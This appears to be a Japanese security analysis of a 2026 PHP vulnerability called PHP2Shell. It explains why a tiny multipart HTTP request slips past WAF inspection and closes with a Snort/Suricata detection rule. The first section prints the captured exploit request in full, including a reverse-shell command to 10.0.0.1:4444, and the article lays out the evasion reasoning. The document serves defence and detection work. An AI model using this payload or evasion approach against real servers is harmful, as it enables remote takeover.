500バイト未満の衝撃: PHP2Shellが従来のWAFボディ検査を物理的に回避する解剖学
500バイト未満の衝撃: PHP2Shellが従来のWAFボディ検査を物理的に回避する解剖学
<time datetime="2026-10-23">検証日: 2026年10月23日</time> · 攻撃工学分析: HTTP Multipart/form-data RFC1867 Stream
一般的なサイバー攻撃インシデントにおいて、未認証RCE(リモートコード実行)のエクスプロイトは、大容量の難読化シェルコード、肥大化したJSON/XMLオブジェクト、あるいは数キロバイトに及ぶシリアライズ文字列を伴うことが通例です。そのため、多くの企業やクラウドプロバイダーは、WAF(Web Application Firewall)において「一定サイズ以上のPOSTリクエスト」や「既知の悪意あるキーワードパターン」に依存したシグネチャ検知を実施してきました。
しかし、PHP2Shell(CVE-2026-109618 / CVE-2026-109619)の実戦兵器化ペイロードは、わずか460〜490バイト前後の極小HTTPリクエストのみで構成されており、既存のWAF検査パイプラインを音もなくすり抜けます。本稿では、この極小ペイロードの物理的構造と、なぜ既存の防御網が突破されたのかを解明します。
1. 実際の通信キャプチャ(Raw HTTP Request)の解剖
以下は、世界中のハニーポットで観測された最小化兵器化ペイロードの完全な生データです:
POST / HTTP/1.1
Host: target.example.co.jp
User-Agent: curl/8.5.0
Content-Type: multipart/form-data; boundary=---------------------------x
Content-Length: 468
Connection: close
-----------------------------x
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
-----------------------------x
Content-Disposition: form-data; name="f"; filename="a.php"
Content-Type: text/plain
<?php echo 1;
-----------------------------x
Content-Disposition: form-data; name="p"
\x90\x90\x90\x90\x10\xa2\x04\x08...|bash -i>&/dev/tcp/10.0.0.1/4444 0>&1
-----------------------------x--
2. なぜ500バイト未満でRCEが成立するのか
極小サイズで成立する理由は、「悪用する基盤コードが最初から標的サーバーのメモリ内に存在している」 からです。
通常のスタックバッファオーバーフロー攻撃では、攻撃者はシェルコードと呼ばれるアセンブリ命令列を自ら送り込む必要があります。しかし、PHP2Shellは環境寄生型(Living-off-the-Land)のアプローチを採用しており:
- トリガー:
PHP_SESSION_UPLOAD_PROGRESSの1行でセッションコールバックを発火させる(約70バイト)。 - メモリのズレ誘発:
filenameパラメータで小さなファイルアップロードを模倣し、チャンク確保を発生させる(約120バイト)。 - コマンド注入: PHPの標準関数
zif_systemに渡す引数文字列(例:bash -i>&...)を末尾に添えるだけ(約80バイト)。
これら必要最小限の制御データのみを連結した結果、全体のHTTPリクエストヘッダーを含めても500バイト未満に収まります。
3. なぜ既存のWAFルールは無力化されたのか
多くのセキュリティアプライアンスやオープンソースWAF(OWASP CRS等)において、本ペイロードがすり抜けた要因は3点あります:
① リクエストボディ長制限のバイパス
多くのWAF管理者は、パフォーマンス維持のために「リクエストボディの先頭8KB〜64KBのみを検査対象とする」というバッファ上限を設定しています。しかしPHP2Shellは上限どころか最小サイズクラスであるため、サイズ制限トリガーに一切抵触しません。
② シグネチャキーワードの欠如
ペイロード内には eval(, base64_decode, <script>, UNION SELECT といった既知の攻撃シグネチャが一切出現しません。出現するのは PHP_SESSION_UPLOAD_PROGRESS という、PHPが公式に定めた正当な機能名称と、標準的なマルチパートヘッダーのみです。
③ ターゲットURIの無差別性
本脆弱性はPHPのSAPI(リクエスト受信用C言語レイヤー)で処理されるため、攻撃先URLは存在しないパス(/404.php, /robots.txt)であっても成立します。「管理画面URL(/wp-admin, /login)へのアクセスを監視する」という一般的なWAFポリシーは完全に無力化されます。
4. この極小攻撃を捕捉する有効な検知シグネチャ
この攻撃を境界で捕らえるためには、「意味の解析」ではなく「プロトコルとヘッダーの異常な組み合わせ」を検知する必要があります。
Snort / Suricata ルール例:
alert http any any -> $HTTP_SERVERS any ( \
msg:"PHP2Shell Exploit - Minimal Multipart Session Injection"; \
flow:established,to_server; \
content:"POST"; http_method; \
content:"multipart/form-data"; http_header; nocase; \
content:"PHP_SESSION_UPLOAD_PROGRESS"; http_client_body; nocase; \
dsize:<800; \
threshold:type limit, track by_src, count 1, seconds 60; \
classtype:web-application-attack; \
sid:10261093; rev:1; \
)
このルールは、「800バイト未満のマルチパートPOSTリクエストでありながら、PHP_SESSION_UPLOAD_PROGRESSを含んでいる」 という異常な特性をピンポイントで識別し、正常通信に誤検知を与えることなく攻撃を遮断します。